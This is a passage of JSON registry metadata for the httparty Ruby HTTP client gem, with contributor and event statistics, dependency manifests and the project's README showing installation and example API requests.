niodasilva":1,"LoganBarnett":1,"zed-0xff":1,"buinauskas":1,"gi":1,"enwumeh":1,"ngsikai":1,"pda":1,"woodleyi":1,"withshubh":1,"bfad":1,"jamietanna":1,"shanempope":1,"serixscorpio":1,"baberthal":1,"cprodhomme":1,"ryanfox1985":1,"mcls":1,"iamricks":1,"zygzagZ":1},"host":{"name":"GitHub","url":"https://github.com","kind":"github","last_synced_at":"2026-04-24T00:00:07.455Z","repositories_count":14376880,"issues_count":34461512,"pull_requests_count":112810658,"authors_count":11243800,"icon_url":"https://github.com/github.png","host_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories","owners_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/owners","authors_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors"},"past_year_issue_labels_count":{},"past_year_pull_request_labels_count":{"dependencies":2,"github_actions":2},"past_year_issue_author_associations_count":{"NONE":6,"CONTRIBUTOR":1},"past_year_pull_request_author_associations_count":{"CONTRIBUTOR":5,"NONE":5,"OWNER":2},"past_year_issue_authors":{"ashkulz":1,"danlo":1,"davidporfirio7":1,"gegenelnet":1,"igorkasyanchuk":1,"rdimartino":1,"wdiechmann":1},"past_year_pull_request_authors":{"baraidrissa":2,"dependabot[bot]":2,"jnunemaker":2,"rdimartino":2,"ngsikai":1,"serixscorpio":1,"zed-0xff":1,"zygzagZ":1},"maintainers":[{"login":"TheSmartnik","count":7,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/TheSmartnik"},{"login":"jnunemaker","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jnunemaker"}],"active_maintainers":[{"login":"jnunemaker","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jnunemaker"}]},"events":{"total":{"CreateEvent":6,"CommitCommentEvent":1,"ReleaseEvent":4,"PullRequestEvent":14,"ForkEvent":18,"IssuesEvent":14,"WatchEvent":107,"IssueCommentEvent":27,"PushEvent":23,"PullRequestReviewCommentEvent":3,"PullRequestReviewEvent":10},"last_year":{"ReleaseEvent":2,"PullRequestEvent":10,"ForkEvent":10,"IssuesEvent":9,"WatchEvent":33,"IssueCommentEvent":16,"PushEvent":11,"PullRequestReviewEvent":2,"PullRequestReviewCommentEvent":3,"CreateEvent":3}},"keywords":["http","httparty","ruby"],"dependencies":[{"ecosystem":"rubygems","filepath":"Gemfile","sha":null,"kind":"manifest","created_at":"2022-07-08T01:50:25.577Z","updated_at":"2022-07-08T01:50:25.577Z","repository_link":"https://github.com/jnunemaker/httparty/blob/main/Gemfile","dependencies":[{"id":118114985,"package_name":"rake","ecosystem":"rubygems","requirements":"\u003e= 0","direct":true,"kind":"runtime","optional":false},{"id":118114986,"package_name":"mongrel","ecosystem":"rubygems","requirements":"= 1.2.0.pre2","direct":true,"kind":"runtime","optional":false},{"id":118114987,"package_name":"guard","ecosystem":"rubygems","requirements":"\u003e= 0","direct":true,"kind":"development","optional":false},{"id":118114988,"package_name":"guard-rspec","ecosystem":"rubygems","requirements":"\u003e= 0","direct":true,"kind":"development","optional":false},{"id":118114989,"package_name":"guard-bundler","ecosystem":"rubygems","requirements":"\u003e= 0","direct":true,"kind":"development","optional":false},{"id":118114990,"package_name":"rspec","ecosystem":"rubygems","requirements":"~\u003e 3.4","direct":true,"kind":"development","optional":false},{"id":118114991,"package_name":"simplecov","ecosystem":"rubygems","requirements":"\u003e= 0","direct":true,"kind":"development","optional":false},{"id":118114992,"package_name":"aruba","ecosystem":"rubygems","requirements":"\u003e= 0","direct":true,"kind":"development","optional":false},{"id":118114993,"package_name":"cucumber","ecosystem":"rubygems","requirements":"~\u003e 2.3","direct":true,"kind":"development","optional":false},{"id":118114994,"package_name":"webmock","ecosystem":"rubygems","requirements":"\u003e= 0","direct":true,"kind":"development","optional":false},{"id":118114995,"package_name":"addressable","ecosystem":"rubygems","requirements":"\u003e= 0","direct":true,"kind":"development","optional":false},{"id":118114996,"package_name":"pry","ecosystem":"rubygems","requirements":"\u003e= 0","direct":true,"kind":"development","optional":false}]},{"ecosystem":"rubygems","filepath":"httparty.gemspec","sha":null,"kind":"manifest","created_at":"2022-07-08T01:50:25.678Z","updated_at":"2022-07-08T01:50:25.678Z","repository_link":"https://github.com/jnunemaker/httparty/blob/main/httparty.gemspec","dependencies":[{"id":118114998,"package_name":"multi_xml","ecosystem":"rubygems","requirements":"\u003e= 0.5.2","direct":true,"kind":"runtime","optional":false},{"id":118114999,"package_name":"mime-types","ecosystem":"rubygems","requirements":"~\u003e 3.0","direct":true,"kind":"runtime","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/ci.yml","sha":null,"kind":"manifest","created_at":"2023-01-13T10:16:17.187Z","updated_at":"2023-01-13T10:16:17.187Z","repository_link":"https://github.com/jnunemaker/httparty/blob/main/.github/workflows/ci.yml","dependencies":[{"id":6875540543,"package_name":"actions/checkout","ecosystem":"actions","requirements":"v3","direct":true,"kind":"composite","optional":false},{"id":6875540544,"package_name":"ruby/setup-ruby","ecosystem":"actions","requirements":"v1","direct":true,"kind":"composite","optional":false}]}],"score":35.75355709745893,"created_at":"2024-12-15T21:38:07.367Z","updated_at":"2026-04-30T19:30:29.765Z","avatar_url":"https://github.com/jnunemaker.png","language":"Ruby","monthly_downloads":0,"readme":"# httparty\n\n[![CI](https://github.com/jnunemaker/httparty/actions/workflows/ci.yml/badge.svg)](https://github.com/jnunemaker/httparty/actions/workflows/ci.yml)\n\nMakes http fun again! Ain't no party like a httparty, because a httparty don't stop.\n\n## Install\n\n```\ngem install httparty\n```\n\n## Requirements\n\n- Ruby 2.7.0 or higher\n- You like to party!\n\n## Examples\n\n```ruby\n# Use the class methods to get down to business quickly\nresponse = HTTParty.get('https://api.stackexchange.com/2.2/questions?site=stackoverflow')\n\nputs response.body, response.code, response.message, response.headers.inspect\n\n# Or wrap things up in your own class\nclass StackExchange\n  include HTTParty\n  base_uri 'api.stackexchange.com'\n\n  def initialize(service, page)\n    @options = { query: { site: service, page: page } }\n  end\n\n  def questions\n    self.class.get(\"/2.2/questions\", @options)\n  end\n\n  def users\n    self.class.get(\"/2.2/users\", @options)\n  end\nend\n\nstack_exchange = StackExchange.new(\"stackoverflow\", 1)\nputs stack_exchange.questions\nputs stack_exchange.users\n```\n\nSee the [examples directory](http://github.com/jnunemaker/httparty/tree/main/examples) for even more goodies.\n\n## Command Line Interface\n\nhttparty also includes the executable `httparty` which can be\nused to query web services and examine the resulting output. By default\nit will output the response as a pretty-printed Ruby object (useful for\ngrokking the structure of output). This can also be overridden to output\nformatted XML or JSON. Execute `httparty --help` for all the\noptions. Below is an example of how easy it is.\n\n```\nhttparty \"https://api.stackexchange.com/2.2/questions?site=stackoverflow\"\n```\n\n## Help and Docs\n\n- [Docs](https://github.com/jnunemaker/httparty/tree/main/docs)\n- https://github.com/jnunemaker/httparty/discussions\n- https://www.rubydoc.info/github/jnunemaker/httparty\n\n## Contributing\n\n- Fork the project.\n- Run `bundle`\n- Run `bundle exec rake`\n- Make your feature addition or bug fix.\n- Add tests for it. This is important so I don't break it in a future version unintentionally.\n- Run `bundle exec rake` (No, REALLY :))\n- Commit, do not mess with rakefile, version, or history. (if you want to have your own version, that is fine but bump version in a commit by itself in another branch so I can ignore when I pull)\n- Send me a pull request. Bonus points for topic branches.\n","funding_links":[],"readme_doi_urls":[],"works":{},"citation_counts":{},"total_citations":0,"keywords_from_contributors":["activerecord","activejob","mvc","rubygems","rack","crash-reporting","feature-flag","sinatra","rubocop","background-jobs"],"project_url":"https://ruby.ecosyste.ms/api/v1/projects/233","html_url":"https://ruby.ecosyste.ms/projects/233"}